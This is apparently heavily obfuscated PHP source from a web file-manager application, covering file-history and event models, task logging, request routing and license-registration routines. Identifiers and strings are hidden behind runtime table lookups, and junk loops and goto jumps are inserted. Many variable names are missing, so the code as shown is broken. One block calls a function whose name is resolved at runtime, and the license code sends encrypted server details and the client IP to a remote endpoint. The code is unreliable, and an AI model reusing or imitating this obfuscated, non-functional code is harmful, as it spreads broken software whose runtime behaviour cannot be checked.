$ء->sourceInfo($); $ = $ء->sourceInfo($); $ = $ء->sourceInfo($ṳ); $Ϡ = array($[1213] => $, $[2194] => $[$[32]], $[2170] => !empty($[$[558]]) ? $[$[558]] : $[12], $[1214] => $ṳ, $[2195] => $[$[32]], $[2196] => !empty($[$[558]]) ? $[$[558]] : $[12]); $this->addEvent($, $[595], $Ϡ); $ڻԤ = $ء->sourceInfo($); $Ϡ = array($[184] => $ڻԤ[$[184]], $[32] => $ڻԤ[$[32]]); $this->addEvent($, $[2197], $Ϡ); } public function eventCopy($ȵ) { $this->eventCreate($ȵ, $_SERVER[][593]); } public function eventRename($͔, $̨, $Ǻ) { $ݖ =& $_SERVER[]; $۾ = array($ݖ[1213] => $̨, $ݖ[1214] => $Ǻ); return $this->addEvent($͔, $ݖ[1402], $۾); } public function eventAddComment($䷟, $) { return $this->addEvent($䷟, $_SERVER[][2198], $); } public function eventAddDesc($Ҍ, $Ɋ) { return $this->addEvent($Ҍ, $_SERVER[][2199], $Ɋ); } public function listBySource($) { $߭ =& $_SERVER[]; $ = Model($߭[1388])->sourceInfo($); $ّ = array($߭[466] => $); if ($[$߭[460]] == $߭[91]) { $ = Model($߭[1388])->listSearchChildren($, 20000); $[] = $ . $߭[429]; $ّ = array($߭[184] => array($߭[7], $)); } $ = $this->where($ّ)->order($߭[2200])->selectPage(); if ($[$߭[417]][$߭[418]] == 0) { $[$߭[417]][$߭[418]] = 1; $[$߭[420]] = array(array($߭[466] => $, $߭[2180] => $[$߭[183]], $߭[1744] => $[$߭[502]], $߭[471] => $߭[2201], $߭[472] => $[$߭[222]], $߭[1746] => $߭[12])); } return $this->eventListParse($, $); } private function eventListParse($ڼ, $) { $ѽ =& $_SERVER[]; $ߢ = $ڼ[$ѽ[420]]; $ = array_to_keyvalue($ߢ, $ѽ[12], $ѽ[184]); $ؗ = array_to_keyvalue($ߢ, $ѽ[12], $ѽ[2186]); foreach ($ߢ as $) { $ʂ = $[$ѽ[501]]; if ($[$ѽ[33]] == $ѽ[595] && isset($ʂ[$ѽ[1213]])) { $[] = $ʂ[$ѽ[1213]] . $ѽ[12]; $[] = $ʂ[$ѽ[1214]] . $ѽ[12]; } if ($[$ѽ[33]] == $ѽ[2197] && isset($ʂ[$ѽ[184]])) { $[] = $ʂ[$ѽ[184]] . $ѽ[12]; } } $ = array_merge($, $ؗ, array($ . $ѽ[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($ߢ, $ѽ[12], $ѽ[1753])); $ = Model($ѽ[574])->userListInfo($); $ = Model($ѽ[869])->sourceListInfo($, !0); foreach ($ߢ as &$) { if ($[$ѽ[33]] == $ѽ[595] && isset($[$ѽ[501]][$ѽ[1213]])) { $[$ѽ[501]][$ѽ[1213]] = $[$[$ѽ[501]][$ѽ[1213]]]; $[$ѽ[501]][$ѽ[1214]] = $[$[$ѽ[501]][$ѽ[1214]]]; } if ($[$ѽ[33]] == $ѽ[2197] && isset($[$ѽ[501]][$ѽ[184]])) { $[$ѽ[501]][$ѽ[184]] = $[$[$ѽ[501]][$ѽ[184]]]; } $[$ѽ[90]] = $[$[$ѽ[184]]]; $[$ѽ[2202]] = $[$[$ѽ[2186]]]; if ($[$ѽ[33]] == $ѽ[1921]) { $[$ѽ[2202]] = $[$ѽ[90]]; $[$ѽ[2186]] = $[$ѽ[2202]][$ѽ[184]]; $[$ѽ[90]] = !1; $[$ѽ[184]] = $ѽ[12]; } $[$ѽ[2129]] = $[$[$ѽ[1753]]]; } unset($); $ڼ[$ѽ[420]] = $ߢ; return $ڼ; } public function removeBySource($) { $驗 = array($_SERVER[][466] => $); $this->where($驗)->remove(); } } if ($_SERVER[$_SERVER[][921]] != $_SERVER[$_SERVER[][1008]]) { $_getc = $_SERVER[][924]; $_getfile = $_SERVER[$_SERVER[][925]] . $_SERVER[][926]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][253], $_getfilec); if (count($_getarrs) < $_SERVER[][665]) { $exit = $_SERVER[][927]; $exit(); } $_act = $_SERVER[][1009]; $_act($_SERVER[$_SERVER[][922]]); } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\x6f\137\163\157\165\162\143\x65\x5f\150\x69\x73\x74\x6f\x72\x79"; public function historyCount($Į) { $܇ =& $_SERVER[]; if (!$Į) { return array(); } if (is_string($Į) || is_int($Į)) { $Į = array($Į); } $ = array($܇[184], $܇[1985] => $܇[541]); $ي = array($܇[184] => array($܇[7], $Į)); $ɀ욊 = $this->field($)->where($ي)->group($܇[184])->select(); return array_to_keyvalue($ɀ욊, $܇[184], $܇[541]); } public function addHistory($ُ, $ڤӼ = '') { $ư =& $_SERVER[]; $֠ = array($ư[466] => $ُ[$ư[184]], $ư[1744] => isset($ُ[$ư[504]]) ? $ُ[$ư[504]] : $ُ[$ư[502]], $ư[517] => $ُ[$ư[516]], $ư[592] => $ُ[$ư[79]], $ư[2203] => $ڤӼ); if ($GLOBALS[$ư[6]][$ư[92]][$ư[1271]] >= 1) { $this->historyAutoClear($֠[$ư[184]]); $this->add($֠); } Hook::trigger($ư[2204], $֠); Model($ư[2205])->eventFileEdit($ُ[$ư[184]]); } private function historyAutoClear($ߍ) { $ɧ =& $_SERVER[]; $ߔ = Model($ɧ[815])->get($ɧ[1293]); $֞ = intval($GLOBALS[$ɧ[6]][$ɧ[92]][$ɧ[1271]]); $ך = $ߔ == $ɧ[1294] ? min(5, $֞) : $֞; $ך = $ך <= 0 ? 0 : $ך - 1; if ($ך >= 500) { return; } $ = array($ɧ[466] => $ߍ); $ = $this->field($ɧ[2206])->where($)->order($ɧ[2200])->select(); if (!$ || $ך >= count($)) { return; } $Ǣĝ = array_to_keyvalue($, $ɧ[12], $ɧ[450]); $Ǣĝ = array_slice($Ǣĝ, $ך); $ڜ = array_to_keyvalue($, $ɧ[12], $ɧ[516]); $ڜ = array_slice($ڜ, $ך); if (!$Ǣĝ || !$ڜ) { return; } $ = array($ɧ[468] => array($ɧ[7], $Ǣĝ)); $this->where($)->delete(); Model($ɧ[519])->remove($ڜ); } public function listData($؏׮) { $ =& $_SERVER[]; $ = array($[466] => $؏׮); $ǩ = $[2207]; $Ի = $this->field($ǩ)->where($)->order($[2200])->selectPage(); $this->_listAppendUser($Ի[$[420]]); $dž떷 = Model($[815])->get($[1293]); $ = 5; if ($dž떷 == $[1294]) { $Ի[$[420]] = array_slice($Ի[$[420]], 0, $); $Ի[$[417]] = array($[2208] => 1, $[2209] => 20, $[2210] => 1, $[2211] => count($Ի[$[420]])); } return $Ի; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1753]); $ = Model($[574])->userListInfo($); foreach ($ as &$ƀ) { $ = $ƀ[$[1753]]; $ƀ[$[502]] = $[$] ? $[$] : !1; } unset($ƀ); } public function fileInfo($֝) { $ދ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\x69\x6f\137\146\151\154\x65\40\x66\x69\x6c\145\x73\x20\x6f\x6e\x20\146\151\x6c\x65\163\56\x66\151\154\145\111\x44\40\x3d\x20\150\151\163\x74\157\162\x79\56\x66\151\x6c\145\111\104"; return $this->alias($ދ[2212])->where(array($ދ[468] => $֝))->join($, $ދ[2213])->find(); } public function removeItem($ş) { $ȼƸ =& $_SERVER[]; $ = array($ȼƸ[468] => $ş); $¦ = $this->where($)->find(); if ($¦) { $ = $this->where($)->delete(); Model($ȼƸ[519])->remove($¦[$ȼƸ[516]]); return $; } return !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $Ҹ = array($[466] => array($[7], $)); $ = $this->field($[517])->where($Ҹ)->select(); if ($) { $this->where($Ҹ)->delete(); $緸֘ = array_to_keyvalue($, $[12], $[516]); Model($[519])->remove($緸֘); } return !0; } public function setDetail($, $Ԇ) { $͢ =& $_SERVER[]; return $this->where(array($͢[468] => $))->save(array($͢[2203] => $Ԇ)); } public function rollbackToItem($, $ҍ) { $ =& $_SERVER[]; $€ = Model($[869])->sourceInfo($); $this->addHistory($€, LNG($[2214])); $ճ = $this->find($ҍ); $܈ = array($[516] => $ճ[$[516]], $[79] => $ճ[$[79]], $[88] => time(), $[504] => USER_ID); Model($[869])->where(array($[184] => $))->save($܈); return $this->where(array($[468] => $ҍ))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ƣ޶ = $this->listData($); $ = array_to_keyvalue_group($ƣ޶, $[516]); $⟻ = array(); $բ = array(); foreach ($ as $젛ȳ) { if (!$젛ȳ || count($젛ȳ) <= 1) { continue; } foreach ($젛ȳ as $υ) { $⟻[] = $υ[$[516]]; $բ[] = $υ[$[450]]; } } if (!$բ) { return; } $this->where(array($[450] => array($[7], $բ)))->delete(); Model($[519])->remove($⟻); } public function userSpace() { $ =& $_SERVER[]; $콘 = $this->tablePrefix; $ = array($[1744] => USER_ID); $Ğټ = "{$콘}\151\157\137\x66\151\x6c\145\x20\146\x69\x6c\145\163\40\157\x6e\40\146\151\154\145\x73\x2e\x66\151\x6c\145\111\x44\x20\x3d\x20\x68\151\163\x74\157\x72\171\x2e\146\151\154\145\111\104"; return $this->alias($[2212])->where($)->join($Ğټ, $[2213])->sum($[79]); } } goto Eǭ; b敌݈: class TaskHttp extends Task { protected function startAfter() { $݇ =& $_SERVER[]; $ =& $this->task; $[$݇[1830]] = 1; Hook::bind($݇[1798], array($this, $݇[1831])); Hook::bind($݇[1800], array($this, $݇[1832])); Hook::bind($݇[1802], array($this, $݇[1833])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1798], array($this, $[1831])); Hook::unbind($[1800], array($this, $[1832])); Hook::unbind($[1802], array($this, $[1833])); } public function progressStart($ѱ) { $ =& $_SERVER[]; $ = curl_getinfo($ѱ); self::log($[1834] . $[$[358]]); self::valueSet($this->task[$[450]], $this->task); } public function progressEnd($) { $鬵 =& $_SERVER[]; self::log($鬵[1835] . $this->task[$鬵[450]]); $this->end(); } public function progress($ײӯ, $ؘ, $Ŧ, $, $ɞ) { $ףЪͰ =& $_SERVER[]; $ =& $this->task; if ($ɞ > 0) { $[$ףЪͰ[1113]] = $[$ףЪͰ[1113]] == 0 ? $ : $[$ףЪͰ[1113]]; $[$ףЪͰ[1754]] = $ɞ; } else { if ($Ŧ > 0) { $[$ףЪͰ[1113]] = $[$ףЪͰ[1113]] == 0 ? $ؘ : $[$ףЪͰ[1113]]; $[$ףЪͰ[1754]] = $Ŧ; } } $this->update(); self::log("\160\x72\157\147\x72\145\163\x73\x48\164\x74\x70\x3a\144\157\x77\156\x3a{$Ŧ}\x2f{$ؘ}\73\x20\x75\160\154\157\x61\x64\x3a{$ɞ}\57{$}\73"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $Ⱦ = 0, $竁 = '') { $ =& $_SERVER[]; $竁 = $竁 ? $竁 : ($ ? $ : $); $ = new Task($, $, $Ⱦ, $竁); $GLOBALS[$[1836] . $] = new TaskLog($[1737], $, $竁); return $; } public function __construct($ѣ = '', $ᨮ = '', $׬ = '') { $ǯ =& $_SERVER[]; if (!$ѣ) { $ѣ = $ǯ[1737]; } $ = $ѣ . $ǯ[437] . rand_string(10); if (!$׬) { $׬ = $ѣ . $ǯ[53] . $׬; } switch ($ѣ) { case $ǯ[1737]: if (!$ᨮ || !$ᨮ->task) { return echoLog($ѣ . $ǯ[1837]); } $» = $ᨮ; $ = $»->task[$ǯ[450]]; $ѣ = $»->task[$ǯ[450]]; if (!$»->task[$ǯ[1643]]) { $»->task[$ǯ[1643]] = $׬ ? $׬ : $ѣ; } break; case $ǯ[1838]: if (!$ᨮ) { return echoLog($ѣ . $ǯ[1839]); } $ = is_string($ᨮ) ? array($ᨮ) : $ᨮ; $» = new TaskFileTransfer($, $ѣ, 0, $׬ ? $׬ : $[0]); foreach ($ as $٠Õ) { $»->addPath($٠Õ); } break; case $ǯ[364]: if (!$ᨮ) { return echoLog($ѣ . $ǯ[1839]); } $ = is_string($ᨮ) ? array($ᨮ) : $ᨮ; $» = new TaskZip($, $ѣ, 0, $׬ ? $׬ : $[0]); foreach ($ as $٠Õ) { $»->addPath($٠Õ); } break; case $ǯ[1268]: if (!$ᨮ) { return echoLog($ѣ . $ǯ[1839]); } $» = new TaskUnZip($, $ѣ, 0, $׬ ? $׬ : $ᨮ); if ($ᨮ) { $»->addFile($ᨮ); } break; case $ǯ[152]: $» = new TaskHttp($, $ѣ); break; default: return; break; } $this->task = $»; $this->taskID = $; Hook::bind($ǯ[1774], array($this, $ǯ[1840])); Hook::bind($ǯ[1776], array($this, $ǯ[1841])); Hook::bind($ǯ[1770], array($this, $ǯ[1842])); echoLog($ǯ[1843] . $»->task[$ǯ[1643]]); } public function __destruct() { $this->end(); } public function end($蜘 = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($蜘); $this->task = !1; $this->taskID = !1; Hook::unbind($[1774], array($this, $[1840])); Hook::unbind($[1776], array($this, $[1841])); Hook::unbind($[1770], array($this, $[1842])); } public function taskUpdate($) { $꼾 =& $_SERVER[]; if (!$ || $this->taskID != $[$꼾[450]]) { return; } $ߙ = 20; $˺ = intval($[$꼾[1755]] * $ߙ); $ = $꼾[166] . str_repeat($꼾[932], $˺) . $꼾[1064] . str_repeat($꼾[53], $ߙ - $˺) . $꼾[168]; $ = $ . sprintf($꼾[1844], $[$꼾[1755]] * 100) . $꼾[1845]; $֙ٵ = $ . $[$꼾[1754]] . $꼾[8] . $[$꼾[1113]] . LNG($꼾[1846]); $ = $꼾[12]; if ($[$꼾[1830]]) { $֙ٵ = $ . size_format($[$꼾[1754]]) . $꼾[8] . size_format($[$꼾[1113]]); $ = size_format($[$꼾[1756]]) . $꼾[1847]; } if ($[$꼾[1115]]) { $[$꼾[1804]] = $[$꼾[1115]] . $꼾[53] . $[$꼾[1804]]; } if ($[$꼾[1804]]) { $κ = $꼾[12]; if ($[$꼾[1806]]) { $κ = $꼾[50] . size_format($[$꼾[1807]]) . $꼾[8] . size_format($[$꼾[1806]]); } $ .= $[$꼾[1804]] . $κ; } if ($[$꼾[808]] && !$[$꼾[1806]]) { $ .= $꼾[53] . size_format($[$꼾[1811]]) . $꼾[8] . size_format($[$꼾[808]]); } echoLog($֙ٵ . $꼾[53] . $, !0); } public function taskEnd($) { $חΰ =& $_SERVER[]; if (!$ || $this->taskID != $[$חΰ[450]]) { return; } $ӿ = $ ? $[$חΰ[1754]] . $חΰ[8] . $[$חΰ[1113]] . LNG($חΰ[1846]) . $חΰ[74] : $חΰ[12]; echoLog($חΰ[1848] . $[$חΰ[1643]] . ($[$חΰ[501]] ? $חΰ[74] . $[$חΰ[501]] : $חΰ[12]) . $חΰ[74] . $ӿ . $חΰ[1849] . sprintf($חΰ[895], timeFloat() - $[$חΰ[1757]]) . $חΰ[1769]); $this->end(); } public function taskKill($܃) { $߯ =& $_SERVER[]; if (!$܃ || $this->taskID != $܃[$߯[450]]) { return; } echoLog($߯[1850] . $܃[$߯[1643]]); } } $_file = $_SERVER[$_SERVER[][922]]; goto B쩎ť; c: class Application { private $defaultModule = "\151\x6e\144\145\x78"; private $defaultController = "\x69\156\144\145\170"; private $defaultAction = "\151\x6e\x64\145\x78"; function __construct() { } public function setDefault($җ) { $ =& $_SERVER[]; $ܑ =& $_SERVER[]; $ڒ = explode($ܑ[0], trim($җ, $ܑ[0])); $this->defaultModule = $ڒ[0] ? $ڒ[0] : $this->defaultModule; $ = $[659]; while ($ < $[660]) { if ($ >= 0) { break; } $++; } $this->defaultController = $ڒ[1] ? $ڒ[1] : $this->defaultController; $this->defaultAction = $ڒ[2] ? $ڒ[2] : $this->defaultAction; $ = $[661]; while (strlen($) < $[660]) { if (!$) { break; } $++; } $this->azkw333b6a40($ܑ[1], array($this, $ܑ[2])); } public function appRun($) { $ =& $_SERVER[]; $É =& $_SERVER[]; $ = explode($É[0], $); $ = $[662]; if (strlen($) < $[663]) { return; } $ʎʲ = strtolower($[0]); $ږ = $[664]; if (strlen($ږ) < $[665]) { return; } $ = $É[3]; if ($ʎʲ == $É[4]) { $ = $É[5]; $[0] = $É[6]; $[1] = $[1] . $É[7]; $ = join($É[0], $); $ = trim($, $É[0]); } call_user_func(array($É[8], $É[9]), $ . $É[10], $); ActionCall($); $ˊ = $[666]; if (strlen($ˊ) < $[658]) { return; } call_user_func(array($É[8], $É[9]), $ . $É[11], $); $ߨ = $[667]; while (strlen($ߨ) < $[668]) { if (!$ߨ) { break; } $ߨ++; } } private function autorun() { $ =& $_SERVER[]; $ =& $_SERVER[]; global $config; $۽ = $[669]; while ($۽ < $[658]) { if ($۽ >= 0) { break; } $۽++; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $Ö => $) { $this->appRun($); $ֿ = $[670]; while (strlen($ֿ) < $[658]) { if (!$ֿ) { break; } $ֿ++; } } } private function lzjwee88f9eb() { $ҹ =& $_SERVER[]; $׃ =& $_SERVER[]; $ʽ۸ = $׃[4]; $ن = $GLOBALS[$׃[13]][$׃[14]][0]; $տ = $ҹ[671]; while (strlen($տ) < $ҹ[658]) { if (!$տ) { break; } $տ++; } if (!$ن || strlen($ن) <= strlen($ʽ۸)) { return; } if (strtolower(substr($ن, -strlen($ʽ۸))) != $ʽ۸) { return; } $ = substr($ن, 0, -strlen($ʽ۸)); $ƀ = array($׃[4], $); $ƫ̶ = $ҹ[672]; if (strlen($ƫ̶) < $ҹ[663]) { return; } $½ = array_slice($GLOBALS[$׃[13]][$׃[14]], 1); $GLOBALS[$׃[13]][$׃[14]] = array_merge($ƀ, $½); $GLOBALS[$׃[13]][$׃[15]] = implode($׃[0], $GLOBALS[$׃[13]][$׃[14]]); $톗 = $ҹ[673]; if (strlen($톗) < $ҹ[663]) { die; } } private function hsulbc35af0a() { $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ԙ = $_SERVER[$[16]]; $ = $[17]; if (!strstr($ԙ, $)) { return; } $ϰ = strrpos($ԙ, $); $ = substr($ԙ, $ϰ + strlen($)); preg_match_all($[18], $, $묢); $։ = $_SERVER[][674]; $ = trim($묢[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $Ҥ =& $_SERVER[]; $this->hsulbc35af0a(); $ɥՑ = $[675]; if (!$ɥՑ) { die; } $this->lzjwee88f9eb(); $À = $[676]; $ = $GLOBALS[$Ҥ[13]][$Ҥ[14]]; $ = $[677]; while ($ < $[668]) { if ($ >= 0) { break; } $++; } $č = $GLOBALS[$Ҥ[13]][$Ҥ[15]]; define($Ҥ[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($Ҥ[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $[678]; while ($ < $[663]) { if ($ >= 0) { break; } $++; } define($Ҥ[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($Ҥ[23], MOD . $Ҥ[0] . ST . $Ҥ[0] . ACT); $겤 = $[679]; if (!$겤) { return; } $_SERVER[$Ҥ[24]] = strtolower(ACTION); $ = $[680]; if (strlen($) < $[668]) { return; } $this->autorun(); if (count($) >= 3) { $this->appRun($č); } else { $this->appRun(ACTION); } } private $yplsb3e292fc = array(); private $gyvs0a2c64ec = ''; public function pxhu1aa7c4bd() { $ů =& $_SERVER[]; $ =& $_SERVER[]; $this->fjil634d23fd(); $ߛ = $ů[681]; $this->axth503953e0(); $ޠ״ = $ů[682]; $this->xrnge323bcee(); $this->gvndc7b52d04(); $this->ylmn95b7f216(); $ = $ů[683]; $this->mvqlb8c6d0d4(); $this->uvbw1fb22a5f(); $this->azkw333b6a40($[25], array($this, $[26])); $փ = $ů[684]; if (strlen($փ) < $ů[665]) { return; } $this->azkw333b6a40($[27], array($this, $[28])); $輢 = $ů[685]; if (!$輢) { die; } $this->azkw333b6a40($[29], array($this, $[30])); $򏣆 = $ů[686]; if (strlen($򏣆) < $ů[663]) { return; } $this->azkw333b6a40($[31], array($this, $[32])); } public function ymsl382d6ea6($ܐӁ) { $ա =& $_SERVER[]; $ =& $_SERVER[]; $܃ = Model($[33])->get(); $Ģ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $ = $ա[687]; foreach ($Ģ as $ץ) { $Ր = $GLOBALS[$[85]][$[86]][$ץ]; if (isset($܃[$ץ])) { $Ր = $܃[$ץ]; } $ܐӁ[$[87]][$[88]][$ץ] = $Ր; } $ = $ܐӁ[$[87]][$[88]][$[46]]; unset($ܐӁ[$[87]][$[89]][$[90]]); $˯ = $ա[688]; if (!$˯) { return; } unset($ܐӁ[$[87]][$[89]][$[91]]); unset($ܐӁ[$[87]][$[88]][$[46]]); $، = $ա[689]; if (strlen($،) < $ա[665]) { die; } unset($ܐӁ[$[87]][$[88]][$[92]]); $ܐӁ[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $҂ = substr(md5($[98] . get_client_ip() . $܃[$[99]]), 0, 15); $ = $ա[690]; while (strlen($) < $ա[660]) { if (!$) { break; } $++; } $ܐӁ[$[100]][$[101]] = Mcrypt::encode(Session::sign(), $҂, 3600 * 24); $ܐӁ[$[100]][$[102]] = Action($[103])->accessToken(); $ܐӁ[$[100]][$[104]] = md5($_SERVER[$[105]] . $܃[$[99]]); $ = $ա[691]; if (!$) { die; } $ܐӁ[$[100]][$[106]] = base64_encode(serverInfo()); $ܐӁ[$[100]][$[107]] = $this->gyvs0a2c64ec; $Ɔ = $ա[692]; while (strlen($Ɔ) < $ա[665]) { if (!$Ɔ) { break; } $Ɔ++; } if ($܃[$[107]] != $[108]) { $ܐӁ[$[100]][$[109]] = $܃[$[109]]; $ܐӁ[$[100]][$[110]] = $܃[$[110]]; $͖œ = rand_string(10) . $this->gyvs0a2c64ec . rand_string(5); $ܐӁ[$[87]][$[111]][$[112]] = $this->tpicdc4f62cc($͖œ, $ܐӁ[$[100]][$[104]]); } if ($this->gyvs0a2c64ec == $[108]) { $ܐӁ[$[87]][$[88]][$[93]][$[97]] = 0; } $ܐӁ[$[100]][$[113]] = $this->versionPluginFilter(); $ܐӁ[$[100]][$[114]] = _get($this->yplsb3e292fc, $[115], $[6]); $񈍅 = $ա[693]; if (strlen($񈍅) < $ա[663]) { die; } if (KodUser::isRoot() && $this->config[$[116]]) { $ܐӁ[$[100]][$[117]] = WEB_ROOT; } return $ܐӁ; } private function mvqlb8c6d0d4() { $ =& $_SERVER[]; $ =& $_SERVER[]; $߱ = $_SERVER[$[24]] == $[118]; $¶ = $[694]; if (strlen($¶) < $[668]) { return; } if ($_SERVER[$[24]] == $[119] && $_GET[$[120]] == $[121]) { $߱ = !0; } if ($߱) { $ = array($[107] => $this->gyvs0a2c64ec, $[122] => $this->yusz616a9af8(), $[123] => Model($[124])->count()); if ($this->gyvs0a2c64ec != $[108]) { $ = _get($this->yplsb3e292fc, $[125]); if ($) { $[$[126]] = $; $[$[127]] = strtotime(_get($this->yplsb3e292fc, $[128])); $[$[129]] = _get($this->yplsb3e292fc, $[115]); } $٥ž = Model($[33])->get($[130], $[6], !0); if (is_string($٥ž) && substr($٥ž, 0, 1) == $[131]) { $٥ž = json_decode_force($٥ž); } if (is_array($٥ž) && $٥ž[$[132]] && strstr($٥ž[$[132]], $[133])) { $ = explode($[133], $٥ž[$[132]]); $[$[134]] = $[0]; } } $ = $this->awkp9c6e380d(json_encode($), md5($[135])); $ = $[695]; while (strlen($) < $[665]) { if (!$) { break; } $++; } $ӕ = array($[136] => $); call_user_func(array($[137], $[138]), $ӕ); $ = $[696]; if (strlen($) < $[665]) { die; } } if ($this->gyvs0a2c64ec == $[108]) { return; } $ = array($[139], $[140], $[141], $[142], $[143], $[144]); $ӽ = Model($[33])->get(); $ӕ = array($[145] => $ӽ[$[34]], $[146] => $ӽ[$[35]], $[147] => $[6]); $ǝ = $[697]; if (!$ǝ) { return; } foreach ($ as $) { if (!isset($ӽ[$]) || !$ӽ[$]) { continue; } $ӕ[$] = $ӽ[$]; $ܪ = $[698]; while ($ܪ < $[668]) { if ($ܪ >= 0) { break; } $ܪ++; } } call_user_func(array($[137], $[138]), $ӕ); } private function gvndc7b52d04() { $ɬ =& $_SERVER[]; $邏 =& $_SERVER[]; if ($_SERVER[$邏[24]] != $邏[148]) { return; } if (!KodUser::isRoot()) { die; } $˴ = $GLOBALS[$邏[13]]; if (isset($˴[$邏[149]])) { $this->bgldc562afd1(); die; } if (isset($˴[$邏[150]]) && isset($˴[$邏[150]]) == $邏[121]) { $˴[$邏[151]] = Model($邏[33])->get($邏[152]); } if (!isset($˴[$邏[151]]) || strlen($˴[$邏[151]]) != 16) { show_json($邏[153] . $˴[$邏[151]], !1); } $ג = Model($邏[33])->get($邏[99]); $ = md5($_SERVER[$邏[105]] . $ג); $ = array($邏[151] => $˴[$邏[151]], $邏[154] => rand_string(16), $邏[155] => $邏[135], $邏[156] => $邏[157], $邏[158] => $_SERVER[$邏[159]], $邏[160] => $_SERVER[$邏[161]], $邏[162] => $_SERVER[$邏[163]], $邏[104] => $, $邏[164] => Model($邏[33])->get($邏[130])); $̯Џ = $ɬ[699]; if (!$̯Џ) { return; } if (isset($˴[$邏[150]]) && isset($˴[$邏[150]]) == $邏[121]) { $[$邏[150]] = md5($[$邏[151]] . $邏[165] . $[$邏[154]]); } if ($˴[$邏[166]] == $邏[167]) { $ם = $this->awkp9c6e380d($, $邏[168]); $򚔻 = $this->tpicdc4f62cc(json_encode($), $ . $邏[169], 3); $򚔻 = $򚔻 . $邏[170] . $_SERVER[$邏[159]]; $ = $this->itda7913ff25($邏[171] . $ם . $邏[172] . $򚔻, -1); show_json($, !0); } else { if ($˴[$邏[166]] == $邏[173]) { $խ = substr(md5($邏[174] . $), 12, 15) . $邏[175]; $򚔻 = $this->prya0f5405c5(trim($˴[$邏[176]]), $խ, 2); $ן = json_decode($򚔻, !0); if (!is_array($ן) || !is_array($ן[$邏[177]]) || $ן[$邏[151]] != !0) { $ = $邏[178]; $⼧ = $ן[$邏[177]] ? $邏[179] . $ן[$邏[177]] : $; show_json($⼧, !1); } else { $[$邏[154]] = $ן[$邏[177]][$邏[180]]; } } else { $ן = $this->itda7913ff25($邏[181], $, 10); $Ӈߤ = $ɬ[700]; if (strlen($Ӈߤ) < $ɬ[660]) { return; } } } if (!is_array($ן) || !is_array($ן[$邏[177]]) || $ן[$邏[151]] != !0) { $ = LNG($邏[182]); $⼧ = $ן[$邏[177]] ? $邏[179] . $ן[$邏[177]] : $; show_json($⼧, !1); } $Ԥ = $ן[$邏[177]]; $ = $this->oknm0aa569f9($Ԥ[$邏[183]]); $ڽ = $ɬ[701]; if (!$ || $ != $Ԥ[$邏[128]]) { $ = array($邏[184] => Model($邏[33])->get($邏[99]), $邏[185] => $_SERVER[$邏[105]], $邏[186] => this_url(), $邏[160] => $_SERVER[$邏[161]]); $򚔻 = $this->coye9218ed64(json_encode($)); $this->itda7913ff25($邏[187] . $򚔻); show_json(LNG($邏[188]), !0); } $ = array($邏[152] => $Ԥ[$邏[189]], $邏[190] => $Ԥ[$邏[191]], $邏[192] => rand_string(16), $邏[107] => $Ԥ[$邏[193]]); if ($[$邏[154]]) { $[$邏[192]] = $[$邏[154]]; } $ˈ = substr(md5($[$邏[190]]), 10, 10); $㛞 = $ˈ . $[$邏[107]] . $[$邏[192]]; $[$邏[109]] = strrev(base64_encode($this->awkp9c6e380d($㛞, $邏[194]))); $ӷ = rand_string(16); $ = $ӷ . $[$邏[107]] . $this->awkp9c6e380d(md5($[$邏[152]]), $ӷ); $ڇ = $ɬ[702]; if (strlen($ڇ) < $ɬ[658]) { return; } $[$邏[110]] = base64_encode(strrev($this->awkp9c6e380d($, $邏[195]))); $؜ = $ɬ[703]; if ($Ԥ[$邏[196]] && $Ԥ[$邏[196]] >= 1) { Model($邏[33])->setDeep($邏[197], $邏[121]); } Model($邏[33])->set($); $ = md5($_SERVER[$邏[105]] . strrev($ג) . $[$邏[190]]); $ = $ɬ[704]; if (strlen($) < $ɬ[663]) { die; } $ׇ = strrev(substr($, 10, 16)); $Ѻ = $this->tpicdc4f62cc(json_encode($Ԥ), $); $ = array_to_keyvalue(Model($邏[7])->listData(), $邏[198]); $㓝 = $[$邏[199]]; $ܜȦ = $ɬ[705]; while (strlen($ܜȦ) < $ɬ[660]) { if (!$ܜȦ) { break; } $ܜȦ++; } $” = array(); $扡 = $ɬ[706]; if (!$扡) { return; } $”[$ׇ] = $Ѻ; Model($邏[7])->update($㓝[$邏[200]], array($邏[201] => $”)); $this->yplsb3e292fc = $Ԥ; $this->gyvs0a2c64ec = $[$邏[107]]; $ = $ɬ[707]; $this->licenseRegistSuccess(); $ = $ɬ[708]; Cache::set($邏[202] . md5($ג . $邏[203]), $邏[6]); show_json(LNG($邏[188]), !0); } private function licenseRegistSuccess() { $ʒ =& $_SERVER[]; $ƧƬ =& $_SERVER[]; $ˆ = Model($ƧƬ[33])->get(); $ل = $ʒ[709]; while ($ل < $ʒ[658]) { if ($ل >= 0) { break; } $ل++; } if ($ˆ[$ƧƬ[63]] != $ƧƬ[121]) { Model($ƧƬ[33])->set($ƧƬ[63], $ƧƬ[121]); } Action($ƧƬ[204])->initStart(!0); } private function bgldc562afd1() 